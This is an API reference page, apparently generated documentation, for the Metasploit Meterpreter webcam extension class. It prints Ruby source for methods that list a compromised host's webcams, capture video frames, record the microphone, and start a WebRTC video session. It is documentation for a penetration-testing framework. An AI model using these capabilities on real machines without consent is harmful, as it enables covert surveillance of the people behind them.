Class: Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam
- Inherits:
-
Object
- Object
- Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam
- Includes:
- Msf::Post::Common, Msf::Post::File, Msf::Post::WebRTC
- Defined in:
- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
Overview
This meterpreter extension can list and capture from webcams and/or microphone
Instance Attribute Summary collapse
-
#client ⇒ Object
Returns the value of attribute client.
Instance Method Summary collapse
-
#initialize(client) ⇒ Webcam
constructor
A new instance of Webcam.
-
#record_mic(duration) ⇒ Object
Record from default audio source for
duration
seconds; returns a low-quality wav file. - #session ⇒ Object
-
#webcam_chat(server) ⇒ Object
Starts a webcam session with a remote user via WebRTC.
- #webcam_get_frame(quality) ⇒ Object
- #webcam_list ⇒ Object
-
#webcam_start(cam) ⇒ Object
Starts recording video from video source of index
cam
. - #webcam_stop ⇒ Object
Methods included from Msf::Post::WebRTC
#connect_video_chat, #load_api_code, #load_interface
Methods included from Msf::Post::File
#_append_file_powershell, #_append_file_unix_shell, #_can_echo?, #_read_file_meterpreter, #_read_file_powershell, #_read_file_powershell_fragment, #_shell_command_with_success_code, #_unix_max_line_length, #_win_ansi_append_file, #_win_ansi_write_file, #_win_bin_append_file, #_win_bin_write_file, #_write_file_meterpreter, #_write_file_powershell, #_write_file_powershell_fragment, #_write_file_unix_shell, #append_file, #attributes, #cd, #chmod, #copy_file, #dir, #directory?, #executable?, #exist?, #expand_path, #exploit_data, #exploit_source, #file?, #file_local_write, #file_remote_digestmd5, #file_remote_digestsha1, #file_remote_digestsha2, #immutable?, #mkdir, #pwd, #read_file, #readable?, #rename_file, #rm_f, #rm_rf, #setuid?, #stat, #upload_and_chmodx, #upload_file, #writable?, #write_file
Methods included from Msf::Post::Common
#clear_screen, #cmd_exec, #cmd_exec_get_pid, #cmd_exec_with_result, #command_exists?, #get_env, #get_envs, #peer, #report_virtualization, #rhost, #rport
Constructor Details
#initialize(client) ⇒ Webcam
Returns a new instance of Webcam.
20 21 22 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 20 def initialize(client) @client = client end |
Instance Attribute Details
#client ⇒ Object
Returns the value of attribute client.
86 87 88 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 86 def client @client end |
Instance Method Details
#record_mic(duration) ⇒ Object
Record from default audio source for duration
seconds; returns a low-quality wav file
79 80 81 82 83 84 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 79 def record_mic(duration) request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD) request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) response = client.send_request(request) response.get_tlv(TLV_TYPE_AUDIO_DATA).value end |
#session ⇒ Object
24 25 26 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 24 def session @client end |
#webcam_chat(server) ⇒ Object
Starts a webcam session with a remote user via WebRTC
63 64 65 66 67 68 69 70 71 72 73 74 75 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 63 def webcam_chat(server) offerer_id = Rex::Text.rand_text_alphanumeric(10) channel = Rex::Text.rand_text_alphanumeric(20) remote_browser_path = webrtc_browser_path if remote_browser_path.to_s.strip.empty? fail "Unable to find a suitable browser on the target machine" end init_video_chat(remote_browser_path, server, channel, offerer_id) connect_video_chat(server, channel, offerer_id) end |
#webcam_get_frame(quality) ⇒ Object
45 46 47 48 49 50 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 45 def webcam_get_frame(quality) request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_GET_FRAME) request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) response = client.send_request(request) response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value end |
#webcam_list ⇒ Object
28 29 30 31 32 33 34 35 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 28 def webcam_list response = client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_LIST)) names = [] response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv| names << tlv.value end names end |
#webcam_start(cam) ⇒ Object
Starts recording video from video source of index cam
38 39 40 41 42 43 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 38 def webcam_start(cam) request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_START) request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam) client.send_request(request) true end |
#webcam_stop ⇒ Object
52 53 54 55 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 52 def webcam_stop client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_STOP)) true end |